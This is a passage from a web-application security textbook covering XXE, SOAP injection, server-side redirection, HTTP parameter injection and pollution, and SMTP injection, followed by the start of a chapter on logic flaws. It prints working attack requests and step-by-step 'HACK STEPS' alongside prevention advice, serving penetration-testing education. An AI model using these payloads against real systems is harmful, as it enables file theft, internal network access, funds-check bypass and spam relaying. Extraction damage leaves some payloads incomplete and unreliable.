the contents of the specifi ed fi le and to   use this in place of the defi ned entity reference, which the attacker has used   within the SearchTerm element. Because the value of this element is echoed in   the application’s response, this causes the server to respond with the contents   of the fi le, as follows:  HTTP/1.1 200 OK  Content-Type: text/xml; charset=utf-8  Content-Length: 556  No results found for expression: ; for 16-bit app   support   [fonts]   [extensions]   [mci extensions]   [files]  ...  TRY IT!  http://mdsec.net/search/128/  c10.indd 385c10.indd   385 8/19/2011 12:10:48 PM8/19/2011   12:10:48 PMStuttard   c10.indd   V2 - 07/05/2011 Page 386  386 Chapter 10  Attacking Back-End Components  In addition to using the file: protocol to specify resources on the local   fi lesystem, the attacker can use protocols such as http: to cause the server to   fetch resources across the network. These URLs can specify arbitrary hosts,   IP addresses, and ports. They may allow the attacker to interact with network   services on back-end systems that cannot be directly reached from the Internet.   For example, the following attack attempts to connect to a mail server running   on port 25 on the private IP address 192.168.1.1:   ]>  &xxe;  This technique may allow various attacks to be performed:    The attacker can use the application as a proxy, retrieving sensitive content   from any web servers that the application can reach, including those running   internally within the organization on private, nonroutable address space.    The attacker can exploit vulnerabilities on back-end web applications,   provided that these can be exploited via the URL.    The attacker can test for open ports on back-end systems by cycling through   large numbers of IP addresses and port numbers. In some cases, timing   differences can be used to infer the state of a requested port. In other   cases, the service banners from some services may actually be returned   within the application’s responses.  Finally, if the application retrieves the external entity but does not return this   in responses, it may still be possible to cause a denial of service by reading a   fi le stream indefi nitely. For example:   ]>   Injecting into SOAP Services  Simple Object Access Protocol (SOAP) is a message-based communications   technology that uses the XML format to encapsulate data. It can be used to   share information and transmit messages between systems, even if these run   on different operating systems and architectures. Its primary use is in web   services. In the context of a browser-accessed web application, you are most   likely to encounter SOAP in the communications that occur between back-end   application components.  SOAP is often used in large-scale enterprise applications where individual tasks   are performed by different computers to improve performance. It is also often   found where a web application has been deployed as a front end to an existing   application. In this situation, communications between different components   may be implemented using SOAP to ensure modularity and interoperability.  c10.indd 386c10.indd   386 8/19/2011 12:10:48 PM8/19/2011   12:10:48 PMStuttard   c10.indd   V2 - 07/05/2011 Page 387   Chapter 10  Attacking Back-End Components  387  Because XML is an interpreted language, SOAP is potentially vulnerable to   code injection in a similar way as the other examples already described. XML   elements are represented syntactically, using the metacharacters <, >, and /. If   user-supplied data containing these characters is inserted directly into a SOAP   message, an attacker may be able to interfere with the message’s structure and   therefore interfere with the application’s logic or cause other undesirable effects.  Consider a banking application in which a user initiates a funds transfer   using an HTTP request like the following:  POST /bank/27/Default.aspx HTTP/1.0  Host: mdsec.net  Content-Length: 65  FromAccount=18281008&Amount=1430&ToAccount=08447656&Submit=Submit  In the course of processing this request, the following SOAP message is sent   between two of the application’s back-end components:                                18281008          1430          False          08447656                      Note how the XML elements in the message correspond to the parameters   in the HTTP request, and also the addition of the ClearedFunds element. At   this point in the application’s logic, it has determined that insuffi cient funds   are available to perform the requested transfer and has set the value of this   element to False. As a result, the component that receives the SOAP message   does not act on it.  In this situation, there are various ways in which you could seek to inject   into the SOAP message and therefore interfere with the application’s logic. For   example, submitting the following request causes an additional ClearedFunds  element to be inserted into the message before the original element (while   preserving the SQL’s syntactic validity). If the application processes the fi rst   ClearedFunds element it encounters, you may succeed in performing a transfer   when no funds are available:  POST /bank/27/Default.aspx HTTP/1.0  Host: mdsec.net  c10.indd 387c10.indd   387 8/19/2011 12:10:49 PM8/19/2011   12:10:49 PMStuttard   c10.indd   V2 - 07/05/2011 Page 388  388 Chapter 10  Attacking Back-End Components  Content-Length: 119  FromAccount=18281008&Amount=1430True  1430&ToAccount=08447656&Submit=Submit  On the other hand, if the application processes the last ClearedFunds element   it encounters, you could inject a similar attack into the ToAccount parameter.  A different type of attack would be to use XML comments to remove part of   the original SOAP message and replace the removed elements with your own.   For example, the following request injects a ClearedFunds element via the Amount  parameter, provides the opening tag for the ToAccount element, opens a com-  ment, and closes the comment in the ToAccount parameter, thus preserving the   syntactic validity of the XML:  POST /bank/27/Default.aspx HTTP/1.0  Host: mdsec.net  Content-Length: 125  FromAccount=18281008&Amount=1430True  08447656&Submit=Submit  A further type of attack would be to attempt to complete the entire SOAP   message from within an injected parameter and comment out the remainder   of the message. However, because the opening comment will not be matched   by a closing comment, this attack produces strictly invalid XML, which many   XML parsers will reject. This attack is only likely to work against a custom,   homegrown XML parser, rather than any XML parsing library:  POST /bank/27/Default.aspx HTTP/1.0  Host: mdsec.net  Content-Length: 176  FromAccount=18281008&Amount=1430True    08447656    ) into   another parameter. Then switch these around (because you have no way   of knowing in which order the parameters appear). Doing so can have the   effect of commenting out a portion of the server’s SOAP message. This   may cause a change in the application’s logic or result in a different error   condition that may divulge information.  If SOAP injection is diffi cult to detect, it can be even harder to exploit. In most   situations, you need to know the structure of the XML that surrounds your data   to supply crafted input that modifi es the message without invalidating it. In all   the preceding tests, look for any error messages that reveal any details about   the SOAP message being processed. If you are lucky, a verbose message will   disclose the entire message, enabling you to construct crafted values to exploit   the vulnerability. If you are unlucky, you may be restricted to pure guesswork,   which is very unlikely to be successful.  c10.indd 389c10.indd   389 8/19/2011 12:10:49 PM8/19/2011   12:10:49 PMStuttard   c10.indd   V2 - 07/05/2011 Page 390  390 Chapter 10  Attacking Back-End Components  Preventing SOAP Injection  You can prevent SOAP injection by employing boundary validation fi lters at any   point where user-supplied data is inserted into a SOAP message (see Chapter   2). This should be performed both on data that has been immediately received   from the user in the current request and on any data that has been persisted from   earlier requests or generated from other processing that takes user data as input.  To prevent the attacks described, the application should HTML-encode any   XML metacharacters appearing in user input. HTML encoding involves replacing   literal characters with their corresponding HTML entities. This ensures that the   XML interpreter treats them as part of the data value of the relevant element and   not as part of the structure of the message itself. Here are the HTML encodings   of some common problematic characters:    < — <    > — >    / — /  Injecting into Back-end HTTP Requests  The preceding section described how some applications incorporate user-supplied   data into back-end SOAP requests to services that are not directly accessible   to the user. More generally, applications may embed user input in any kind of   back-end HTTP request, including those that transmit parameters as regular   name/value pairs. This kind of behavior is often vulnerable to attack, since the   application often effectively proxies the URL or parameters supplied by the user.   Attacks against this functionality can be divided into the following categories:    Server-side HTTP redirection attacks allow an attacker to specify an arbitrary   resource or URL that is then requested by the front-end application server.    HTTP parameter injection (HPI) attacks allow an attacker to inject arbi-  trary parameters into a back-end HTTP request made by the application   server. If an attacker injects a parameter that already exists in the back-end   request, HTTP parameter pollution (HPP) attacks can be used to override   the original parameter value specifi ed by the server.  Server-side HTTP Redirection  Server-side redirection vulnerabilities arise when an application takes user-  controllable input and incorporates it into a URL that it retrieves using a back-  end HTTP request. The user-supplied input may comprise the entire URL that   is retrieved, or the application may perform some processing on it, such as   adding a standard suffi x.  c10.indd 390c10.indd   390 8/19/2011 12:10:49 PM8/19/2011   12:10:49 PMStuttard   c10.indd   V2 - 07/05/2011 Page 391   Chapter 10  Attacking Back-End Components  391  The back-end HTTP request may be to a domain on the public Internet,   or it may be to an internal server not directly accessible by the user. The   content requested may be core to the application’s functionality, such as an   interface to a payment gateway. Or it may be more peripheral, such as static   content drawn from a third party. This technique is often used to knit several   disparate internal and external application components into a single front-  application that handles access control and session management on behalf   of these other systems. If an attacker can control the IP address or hostname   used in the back-end HTTP request, he can cause the application server to   connect to an arbitrary resource and sometimes retrieve the contents of the   back-end response.  Consider the following example of a front-end request, in which the loc  parameter is used to specify which version of a CSS fi le the client wants to use:  POST /account/home HTTP/1.1  Content-Type: application/x-www-form-urlencoded  Host: wahh-blogs.net  Content-Length: 65  view=default&loc=online.wahh-blogs.net/css/wahh.css  If no validation of the URL is specifi ed in the loc parameter, an attacker can   specify an arbitrary hostname in place of online.wahh-blogs.net. The applica-  tion retrieves the specifi ed resource, allowing the attacker to use the application   as a proxy to potentially sensitive back-end services. In the following example,   the attacker causes the application to connect to a back-end SSH service:  POST /account/home HTTP/1.1  Content-Type: application/x-www-form-urlencoded  Host: blogs.mdsec.net  Content-Length: 65  view=default&loc=192.168.0.1:22  The application’s response includes the banner from the requested SSH service:  HTTP/1.1 200 OK  Connection: close  SSH-2.0-OpenSSH_4.2Protocol mismatch.  An attacker can exploit server-side HTTP redirection bugs to effectively use the   vulnerable application as an open HTTP proxy to perform various further attacks:    An attacker may be able to use the proxy to attack third-party systems on   the Internet. The malicious traffi c appears to the target to originate from   the server on which the vulnerable application is running.    An attacker may be able to use the proxy to connect to arbitrary hosts on   the organization’s internal network, thereby reaching targets that cannot   be accessed directly from the Internet.  c10.indd 391c10.indd   391 8/19/2011 12:10:49 PM8/19/2011   12:10:49 PMStuttard   c10.indd   V2 - 07/05/2011 Page 392  392 Chapter 10  Attacking Back-End Components    An attacker may be able to use the proxy to connect back to other services   running on the application server itself, circumventing fi rewall restrictions   and potentially exploiting trust relationships to bypass authentication.    Finally, the proxy functionality could be used to deliver attacks such as   cross-site scripting by causing the application to include attacker-controlled   content within its responses (see Chapter 12 for more details).  HACK STEPS    1.  Identify any request parameters that appear to contain hostnames, IP   addresses, or full URLs.    2.  For each parameter, modify its value to specify an alternative resource,   similar to the one being requested, and see if that resource appears in the   server’s response.    3.  Try specifying a URL targeting a server on the Internet that you control,   and monitor that server for incoming connections from the application   you are testing.    4.  If no incoming connection is received, monitor the time taken for the   application to respond. If there is a delay, the application’s back-end   requests may be timing out due to network restrictions on outbound   connections.    5.  If you are successful in using the functionality to connect to arbitrary   URLs, try to perform the following attacks:    a.  Determine whether the port number can be specified. For example,   you might supply http://mdattacker.net:22.    b.  If successful, attempt to port-scan the internal network by using a tool   such as Burp Intruder to connect to a range of IP addresses and ports   in sequence (see Chapter 14).    c.  Attempt to connect to other services on the loopback address of the   application server.    d.  Attempt to load a web page that you control into the application’s   response to deliver a cross-site scripting attack.  NOTE Some server-side redirection APIs, such as Server.Transfer()  and Server.Execute() in ASP.NET, allow redirection only to relative URLs   on the same host. Functionality that passes user-supplied input to one of   these methods can still potentially be exploited to exploit trust relation-  ships and access resources on the server that are protected by platform-level   authentication.  c10.indd 392c10.indd   392 8/19/2011 12:10:49 PM8/19/2011   12:10:49 PMStuttard   c10.indd   V2 - 07/05/2011 Page 393   Chapter 10  Attacking Back-End Components  393  TRY IT!  http://mdsec.net/updates/97/  http://mdsec.net/updates/99/  HTTP Parameter Injection  HTTP parameter injection (HPI) arises when user-supplied parameters are   used as parameters within a back-end HTTP request. Consider the following   variation on the bank transfer functionality that was previously vulnerable to   SOAP injection:  POST /bank/48/Default.aspx HTTP/1.0  Host: mdsec.net  Content-Length: 65  FromAccount=18281008&Amount=1430&ToAccount=08447656&Submit=Submit  This front-end request, sent from the user’s browser, causes the application   to make a further back-end HTTP request to another web server within the   bank’s infrastructure. In this back-end request, the application copies some of   the parameter values from the front-end request:  POST /doTransfer.asp HTTP/1.0  Host: mdsec-mgr.int.mdsec.net  Content-Length: 44  fromacc=18281008&amount=1430&toacc=08447656  This request causes the back-end server to check whether cleared funds are   available to perform the transfer and, if so, to carry it out. However, the front-  end server can optionally specify that cleared funds are available, and therefore   bypass the check, by supplying the following parameter:  clearedfunds=true  If the attacker is aware of this behavior, he can attempt to perform an HPI   attack to inject the clearedfunds parameter into the back-end request. To do   this, he adds the required parameter onto the end of an existing parameter’s   value and URL-encodes the characters & and =, which are used to separate   names and values:  POST /bank/48/Default.aspx HTTP/1.0  Host: mdsec.net  Content-Length: 96  FromAccount=18281008&Amount=1430&ToAccount=08447656%26clearedfunds%3dtru  e&Submit=Submit  c10.indd 393c10.indd   393 8/19/2011 12:10:49 PM8/19/2011   12:10:49 PMStuttard   c10.indd   V2 - 07/05/2011 Page 394  394 Chapter 10  Attacking Back-End Components  When the application server processes this request, it URL-decodes the param-  eter values in the normal way. So the value of the ToAccount parameter that the   front-end application receives is as follows:  08447656&clearedfunds=true  If the front-end application does not validate this value and passes it through   unsanitized into the back-end request, the following back-end request is made,   which successfully bypasses the check for cleared funds:  POST /doTransfer.asp HTTP/1.0  Host: mdsec-mgr.int.mdsec.net  Content-Length: 62  fromacc=18281008&amount=1430&toacc=08447656&clearedfunds=true  TRY IT!  http://mdsec.net/bank/48/  NOTE Unlike with SOAP injection, injecting arbitrary unexpected parameters   into a back-end request is unlikely to cause any kind of error. Therefore, a suc-  cessful attack normally requires exact knowledge of the back-end parameters   that are being used. Although this may be hard to determine in a blackbox   context, it may be straightforward if the application uses any third-party com-  ponents whose code can be obtained and researched.  HTTP Parameter Pollution  HPP is an attack technique that arises in various contexts (see Chapters 12 and   13 for other examples) and that often applies in the context of HPI attacks.  The HTTP specifi cations provide no guidelines as to how web servers should   behave when a request contains multiple parameters with the same name. In   practice, different web servers behave in different ways. Here are some com-  mon behaviors:    Use the fi rst instance of the parameter.    Use the last instance of the parameter.    Concatenate the parameter values, maybe adding a separator between them.    Construct an array containing all the supplied values.  In the preceding HPI example, the attacker could add a new parameter to   a back-end request. In fact, it is more likely in practice that the request into   which the attacker can inject already contains a parameter with the name he   c10.indd 394c10.indd   394 8/19/2011 12:10:49 PM8/19/2011   12:10:49 PMStuttard   c10.indd   V2 - 07/05/2011 Page 395   Chapter 10  Attacking Back-End Components  395  is targeting. In this situation, the attacker can use the HPI condition to inject a   second instance of the same parameter. The resulting application behavior then   depends on how the back-end HTTP server handles the duplicated parameter.   The attacker may be able to use the HPP technique to “override” the value of   the original parameter with the value of his injected parameter.  For example, if the original back-end request is as follows:  POST /doTransfer.asp HTTP/1.0  Host: mdsec-mgr.int.mdsec.net  Content-Length: 62  fromacc=18281008&amount=1430&clearedfunds=false&toacc=08447656  and the back-end server uses the fi rst instance of any duplicated parameter, an   attacker can place the attack into the FromAccount parameter in the front-end   request:  POST /bank/52/Default.aspx HTTP/1.0  Host: mdsec.net  Content-Length: 96  FromAccount=18281008%26clearedfunds%3dtrue&Amount=1430&ToAccount=0844765  6&Submit=Submit  Conversely, in this example, if the back-end server uses the last instance of   any duplicated parameter, the attacker can place the attack into the ToAccount  parameter in the front-end request.  TRY IT!  http://mdsec.net/bank/52/  http://mdsec.net/bank/57/  The results of HPP attacks are heavily dependent on how the target applica-  tion server handles multiple occurrences of the same parameter, and the precise   insertion point within the back-end request. This has signifi cant consequences   if two technologies need to process the same HTTP request. A web application   fi rewall or reverse proxy may process a request and pass it to the web application,   which may proceed to discard variables, or even build strings out of previously   disparate portions of the request!  A good paper covering the different behaviors of the common application   servers can be found here:  www.owasp.org/images/b/ba/AppsecEU09_CarettoniDiPaola_v0.8.pdf  c10.indd 395c10.indd   395 8/19/2011 12:10:49 PM8/19/2011   12:10:49 PMStuttard   c10.indd   V2 - 07/05/2011 Page 396  396 Chapter 10  Attacking Back-End Components  Attacks Against URL Translation  Many servers rewrite requested URLs on arrival to map these onto the relevant   back-end functions within the application. In addition to conventional URL   rewriting, this behavior can arise in the context of REST-style parameters, cus-  tom navigation wrappers, and other methods of URL translation. The kind of   processing that this behavior involves can be vulnerable to HPI and HPP attacks.  For simplicity and to aid navigation, some applications place parameter values   within the fi le path of the URL, rather than the query string. This can often be   achieved with some simple rules to transform the URL and forward it to the   true destination. The following mod_rewrite rules in Apache are used to handle   public access to user profi les:  RewriteCond %{THE_REQUEST} ^[A-Z]{3,9}\ /pub/user/[^\&]*\ HTTP/  RewriteRule ^pub/user/([^/\.]+)$ /inc/user_mgr.php?mode=view&name=$1  This rule takes aesthetically pleasing requests such as:  /pub/user/marcus  and transforms them into back-end requests for the view functionality contained   within the user management page user_mgr.php. It moves the marcus parameter   into the query string and adds the mode=view parameter:  /inc/user_mgr.php?mode=view&name=marcus  In this situation, it may be possible to use an HPI attack to inject a second mode  parameter into the rewritten URL. For example, if the attacker requests this:  /pub/user/marcus%26mode=edit  the URL-decoded value is embedded in the rewritten URL as follows:  /inc/user_mgr.php?mode=view&name=marcus&mode=edit  As was described for HPP attacks, the success of this exploit depends on   how the server handles the now-duplicated parameter. On the PHP platform,   the mode parameter is treated as having the value edit, so the attack succeeds.  c10.indd 396c10.indd   396 8/19/2011 12:10:49 PM8/19/2011   12:10:49 PMStuttard   c10.indd   V2 - 07/05/2011 Page 397   Chapter 10  Attacking Back-End Components  397  HACK STEPS   1.  Target each request parameter in turn, and try to append a new injected   parameter using various syntax:    %26foo%3dbar — URL-encoded &foo=bar    %3bfoo%3dbar — URL-encoded ;foo=bar    %2526foo%253dbar — Double URL-encoded &foo=bar    2.  Identify any instances where the application behaves as if the original   parameter were unmodified. (This applies only to parameters that usually   cause some difference in the application’s response when modified.)    3.  Each instance identified in the previous step has a chance of parameter   injection. Attempt to inject a known parameter at various points in the   request to see if it can override or modify an existing parameter. For   example:  FromAccount=18281008%26Amount%3d4444&Amount=1430&ToAcco  unt=08447656    4.  If this causes the new value to override the existing one, determine   whether you can bypass any front-end validation by injecting a value that   is read by a back-end server.    5.  Replace the injected known parameter with additional parameter names   as described for application mapping and content discovery in Chapter 4.    6.  Test the application’s tolerance of multiple submissions of the same   parameter within a request. Submit redundant values before and after   other parameters, and at different locations within the request (within the   query string, cookies, and the message body).  Injecting into Mail Services  Many applications contain a facility for users to submit messages via the appli-  cation, such as to report a problem to support personnel or provide feedback   about the website. This facility is usually implemented by interfacing with a   mail (or SMTP) server. Typically, user-supplied input is inserted into the SMTP   c10.indd 397c10.indd   397 8/19/2011 12:10:49 PM8/19/2011   12:10:49 PMStuttard   c10.indd   V2 - 07/05/2011 Page 398  398 Chapter 10  Attacking Back-End Components  conversation that the application server conducts with the mail server. If an   attacker can submit suitable crafted input that is not fi ltered or sanitized, he   may be able to inject arbitrary STMP commands into this conversation.  In most cases, the application enables you to specify the contents of the mes-  sage and your own e-mail address (which is inserted into the From fi eld of the   resulting e-mail). You may also be able to specify the subject of the message and   other details. Any relevant fi eld that you control may be vulnerable to SMTP   injection.  SMTP injection vulnerabilities are often exploited by spammers who scan   the Internet for vulnerable mail forms and use these to generate large volumes   of nuisance e-mail.  E-mail Header Manipulation  Consider the form shown in Figure 10-6, which allows users to send feedback   about the application.  Figure 10-6:  A typical site feedback form  Here, users can specify a From address and the contents of the message. The   application passes this input to the PHP mail() command, which constructs   the e-mail and performs the necessary SMTP conversation with its confi gured   mail server. The mail generated is as follows:  To: admin@wahh-app.com  From: marcus@wahh-mail.com  Subject: Site problem  Confirm Order page doesn’t load  The PHP mail() command uses an additional_headers parameter to set the   message’s From address. This parameter is also used to specify other headers,   including Cc and Bcc, by separating each required header with a newline char-  acter. Hence, an attacker can cause the message to be sent to arbitrary recipients   by injecting one of these headers into the From fi eld, as illustrated in Figure 10-7.  c10.indd 398c10.indd   398 8/19/2011 12:10:49 PM8/19/2011   12:10:49 PMStuttard   c10.indd   V2 - 07/05/2011 Page 399   Chapter 10  Attacking Back-End Components  399  Figure 10-7:  An e-mail header injection attack  This causes the mail() command to generate the following message:  To: admin@wahh-app.com  From: marcus@wahh-mail.com  Bcc: all@wahh-othercompany.com  Subject: Site problem  Confirm Order page doesn’t load  SMTP Command Injection  In other cases, the application may perform the SMTP conversation itself, or it   may pass user-supplied input to a different component to do this. In this situ-  ation, it may be possible to inject arbitrary SMTP commands directly into this   conversation, potentially taking full control of the messages being generated   by the application.  For example, consider an application that uses requests of the following form   to submit site feedback:  POST feedback.php HTTP/1.1  Host: wahh-app.com  Content-Length: 56  From=daf@wahh-mail.com&Subject=Site+feedback&Message=foo  This causes the web application to perform an SMTP conversation with the   following commands:  MAIL FROM: daf@wahh-mail.com  RCPT TO: feedback@wahh-app.com  DATA  From: daf@wahh-mail.com  To: feedback@wahh-app.com  Subject: Site feedback  foo  .  c10.indd 399c10.indd   399 8/19/2011 12:10:50 PM8/19/2011   12:10:50 PMStuttard   c10.indd   V2 - 07/05/2011 Page 400  400 Chapter 10  Attacking Back-End Components  NOTE After the SMTP client issues the DATA command, it sends the contents   of the e-mail message, comprising the message headers and body. Then it   sends a single dot character on its own line. This tells the server that the mes-  sage is complete, and the client can then issue further SMTP commands to   send further messages.  In this situation, you may be able to inject arbitrary SMTP commands into   any of the e-mail fi elds you control. For example, you can attempt to inject into   the Subject fi eld as follows:  POST feedback.php HTTP/1.1  Host: wahh-app.com  Content-Length: 266  From=daf@wahh-mail.com&Subject=Site+feedback%0d%0afoo%0d%0a%2e%0d  %0aMAIL+FROM:+mail@wahh-viagra.com%0d%0aRCPT+TO:+john@wahh-mail  .com%0d%0aDATA%0d%0aFrom:+mail@wahh-viagra.com%0d%0aTo:+john@wahh-mail  .com%0d%0aSubject:+Cheap+V1AGR4%0d%0aBlah%0d%0a%2e%0d%0a&Message=foo  If the application is vulnerable, this results in the following SMTP conversa-  tion, which generates two different e-mail messages. The second is entirely   within your control:  MAIL FROM: daf@wahh-mail.com  RCPT TO: feedback@wahh-app.com  DATA  From: daf@wahh-mail.com  To: feedback@wahh-app.com  Subject: Site+feedback  foo  .  MAIL FROM: mail@wahh-viagra.com  RCPT TO: john@wahh-mail.com  DATA  From: mail@wahh-viagra.com  To: john@wahh-mail.com  Subject: Cheap V1AGR4  Blah  .  foo  .  Finding SMTP Injection Flaws  To probe an application’s mail functionality effectively, you need to target every   parameter that is submitted to an e-mail-related function, even those that may   initially appear to be unrelated to the content of the generated message. You   c10.indd 400c10.indd   400 8/19/2011 12:10:50 PM8/19/2011   12:10:50 PMStuttard   c10.indd   V2 - 07/05/2011 Page 401   Chapter 10  Attacking Back-End Components  401  should also test for each kind of attack, and you should perform each test case   using both Windows- and UNIX-style newline characters.  HACK STEPS    1.  You should submit each of the following test strings as each parameter in   turn, inserting your own e-mail address at the relevant position:  %0aCc:  %0d%0aCc:  %0aBcc:  %0d%0aBcc:  %0aDATA%0afoo%0a%2e%0aMAIL+FROM:+%0aRCPT+TO:+%0aDATA%0aFrom:+%0aTo:+%0aS  ubject:+test%0afoo%0a%2e%0a  %0d%0aDATA%0d%0afoo%0d%0a%2e%0d%0aMAIL+FROM:+%0  d%0aRCPT+TO:+%0d%0aDATA%0d%0aFrom:+%  0d%0aTo:+%0d%0aSubject:+test%0d%0  afoo%0d%0a%2e%0d%0a    2.  Note any error messages the application returns. If these appear to relate   to any problem in the e-mail function, investigate whether you need to   fine-tune your input to exploit a vulnerability.    3.  The application’s responses may not indicate in any way whether a vul-  nerability exists or was successfully exploited. You should monitor the   e-mail address you specified to see if any mail is received.    4.  Review closely the HTML form that generates the relevant request. This   may contain clues about the server-side software being used. It may also   contain a hidden or disabled field that specifies the e-mail’s To address,   which you can modify directly.  TIP Functions to send e-mails to application support personnel are fre-  quently regarded as peripheral and may not be subject to the same security   standards or testing as the main application functionality. Also, because they   involve interfacing to an unusual back-end component, they are often imple-  mented via a direct call to the relevant operating system command. Hence,   in addition to probing for SMTP injection, you should also closely review all   e-mail-related functionality for OS command injection fl aws.  c10.indd 401c10.indd   401 8/19/2011 12:10:50 PM8/19/2011   12:10:50 PMStuttard   c10.indd   V2 - 07/05/2011 Page 402  402 Chapter 10  Attacking Back-End Components  Preventing SMTP Injection  SMTP injection vulnerabilities usually can be prevented by implementing rig-  orous validation of any user-supplied data that is passed to an e-mail function   or used in an SMTP conversation. Each item should be validated as strictly as   possible given the purpose for which it is being used:    E-mail addresses should be checked against a suitable regular expression   (which should, of course, reject any newline characters).    The message subject should not contain any newline characters, and it   may be limited to a suitable length.    If the contents of a message are being used directly in an SMTP conversa-  tion, lines containing just a single dot should be disallowed.  Summary  We have examined a wide range of attacks targeting back-end application   components and the practical steps you can take to identify and exploit each   one. Many real-world vulnerabilities can be discovered within the fi rst few   seconds of interacting with an application. For example, you could enter some   unexpected syntax into a search box. In other cases, these vulnerabilities may   be highly subtle, manifesting themselves in scarcely detectable differences in   the application’s behavior, or reachable only through a multistage process of   submitting and manipulating crafted input.  To be confi dent that you have uncovered the back-end injection fl aws that   exist within an application, you need to be both thorough and patient. Practically   every type of vulnerability can manifest itself in the processing of practically   any item of user-supplied data, including the names and values of query string   parameters, POST data and cookies, and other HTTP headers. In many cases, a   defect emerges only after extensive probing of the relevant parameter as you   learn exactly what type of processing is being performed on your input and   scrutinize the obstacles that stand in your way.  Faced with the huge potential attack surface presented by potential attacks   against back-end application components, you may feel that any serious assault   on an application must entail a titanic effort. However, part of learning the art   of attacking software is to acquire a sixth sense for where the treasure is hid-  den and how your target is likely to open up so that you can steal it. The only   way to gain this sense is through practice. You should rehearse the techniques   we have described against the real-life applications you encounter and see how   they stand up.  c10.indd 402c10.indd   402 8/19/2011 12:10:50 PM8/19/2011   12:10:50 PMStuttard   c10.indd   V2 - 07/05/2011 Page 403   Chapter 10  Attacking Back-End Components  403  Questions  Answers can be found at http://mdsec.net/wahh.    1.  A network device provides a web-based interface for performing device   confi guration. Why is this kind of functionality often vulnerable to OS   command injection attacks?    2.  You are testing the following URL:  http://wahh-app.com/home/statsmgr.aspx?country=US  Changing the value of the country parameter to foo results in this error   message:  Could not open file: D:\app\default\home\logs\foo.log (invalid file).   What steps could you take to attack the application?    3.  You are testing an AJAX application that sends data in XML format within   POST requests. What kind of vulnerability might enable you to read   arbitrary fi les from the server’s fi lesystem? What prerequisites must be   in place for your attack to succeed?    4.  You make the following request to an application that is running on the   ASP.NET platform:  POST /home.aspx?p=urlparam1&p=urlparam2 HTTP/1.1  Host: wahh-app.com  Cookie: p=cookieparam  Content-Type: application/x-www-form-urlencoded  Content-Length: 15  p=bodyparam  The application executes the following code:  String param = Request.Params[“p”];  What value does the param variable have?    5.  Is HPP a prerequisite for HPI, or vice versa?    6.   An application contains a function that proxies requests to external domains   and returns the responses from those requests. To prevent server-side   redirection attacks from retrieving protected resources on the application’s   own web server, the application blocks requests targeting localhost or   c10.indd 403c10.indd   403 8/19/2011 12:10:50 PM8/19/2011   12:10:50 PMStuttard   c10.indd   V2 - 07/05/2011 Page 404  404 Chapter 10  Attacking Back-End Components  127.0.0.1. How might you circumvent this defense to access resources   on the server?    7.  An application contains a function for user feedback. This allows the user   to supply their e-mail address, a message subject, and detailed comments.   The application sends an email to feedback@wahh-app.com, addressed   from the user’s email address, with the user-supplied subject line and   comments in the message body. Which of the following is a valid defense   against mail injection attacks?    (a)  Disable mail relaying on the mail server.   (b) Hardcode the RCPT TO fi eld with feedback@wahh-app.com.    (c)  Validate that the user-supplied inputs do not contain any newlines or   other SMTP metacharacters.  c10.indd 404c10.indd   404 8/19/2011 12:10:50 PM8/19/2011   12:10:50 PMStuttard   c11.indd   V2 - 07/26/2011 Page 405  405  CHAPTER   11  Attacking Application Logic  All web applications employ logic to deliver their functionality. Writing code   in a programming language involves at its root nothing more than breaking   a complex process into simple and discrete logical steps. Translating a piece   of functionality that is meaningful to human beings into a sequence of small   operations that can be executed by a computer involves a great deal of skill and   discretion. Doing so in an elegant and secure fashion is harder still. When large   numbers of different designers and programmers work in parallel on the same   application, there is ample opportunity for mistakes to occur.  In all but the simplest of web applications, a vast amount of logic is performed   at every stage. This logic presents an intricate attack surface that is always   present but often overlooked. Many code reviews and penetration tests focus   exclusively on common “headline” vulnerabilities such as SQL injection and   cross-site scripting, because these have an easily recognizable signature and   well-researched exploitation vector. By contrast, fl aws in an application’s logic   are harder to characterize: each instance may appear to be a unique one-off   occurrence, and they usually are not identifi ed by any automated vulnerability   scanners. As a result, they generally are not as well appreciated or understood,   and therefore they are of great interest to an attacker.  This chapter describes the kinds of logic fl aws that often exist in web applica-  tions and the practical steps you can take to probe and attack an application’s   logic. We will present a series of real-world examples, each of which manifests a   different kind of logical defect. Together, they illustrate the variety of assumptions   c11.indd 405c11.indd   405 8/19/2011 12:11:44 PM8/19/2011   12:11:44 PMStuttard   c11.indd   V2 - 07/26/2011 Page 406  406 Chapter 11  Attacking Application Logic  that designers and developers make that can lead directly to faulty logic and   expose an application to security vulnerabilities.  The Nature of Logic Flaws  Logic fl aws in web applications are extremely varied. They range from simple   bugs manifested in a handful of lines of code, to complex vulnerabilities arising   from the interoperation of several core components of the application. In some   instances, they may be obvious and easy to detect; in other cases, they may be   exceptionally subtle and liable to elude even the most rigorous code review or   penetration test.  Unlike other coding fl aws such as SQL injection or cross-site scripting, no   common “signature” is associated with logic fl aws. The defi ning characteristic, of   course, is that the logic implemented within the application is defective in some   way. In many cases, the defect can be represented in terms of a specifi c assumption   that the designer or developer made, either explicitly or implicitly, that turns out   to be fl awed. In general terms, a programmer may have reasoned something like   “If A happens, then B must be the case, so I will do C.” The programmer did not   ask the entirely different question “But what if X occurs?” and therefore failed to   consider a scenario that violates the assumption. Depending on the circumstances,   this fl awed assumption may open a signifi cant security vulnerability.  As awareness of common web application vulnerabilities has increased in   recent years, the incidence and severity of some categories of vulnerabilities have   declined noticeably. However, because of the nature of logic fl aws, it is unlikely   that they will ever be eliminated via standards for secure development, use of   code-auditing tools, or normal penetration testing. The diverse nature of logic   fl aws, and the fact that detecting and preventing them often requires a good   measure of lateral thinking, suggests that they will be prevalent for a good   while to come. Any serious attacker, therefore, needs to pay serious attention   to the logic employed in the application being targeted to try to fi gure out the   assumptions that designers and developers probably made. Then he should   think imaginatively about how those assumptions may be violated.  Real-World Logic Flaws  The best way to learn about logic fl aws is not by theorizing, but by becoming   acquainted with some actual examples. Although individual instances of logic   fl aws differ hugely, they share many common themes, and they demonstrate   the kinds of mistakes that human developers will always be prone to making.   c11.indd 406c11.indd   406 8/19/2011 12:11:44 PM8/19/2011   12:11:44 PM06 Stuttard   c11.indd   V2 - 07/26/2011 Page 407   Chapter 11  Attacking Application Logic  407  Hence, insights gathered from studying a sample of logic fl aws should help you   uncover new fl aws in entirely different situations.  Example 1: Asking the Oracle  The authors have found instances of the “encryption oracle” fl aw within many   different types of applications. They have used it in numerous attacks, from   decrypting domain credentials in printing software to breaking cloud comput-  ing. The following is a classic example of the fl aw found in a software sales site.  The Functionality  The application implemented a “remember me” function whereby a user could   avoid logging in to the application on each visit by allowing the application to   set a permanent cookie within the browser. This cookie was protected from   tampering or disclosure by an encryption algorithm that was run over a string   composed of the name, user ID, and volatile data to ensure that the resultant   value was unique and could not be predicted. To ensure 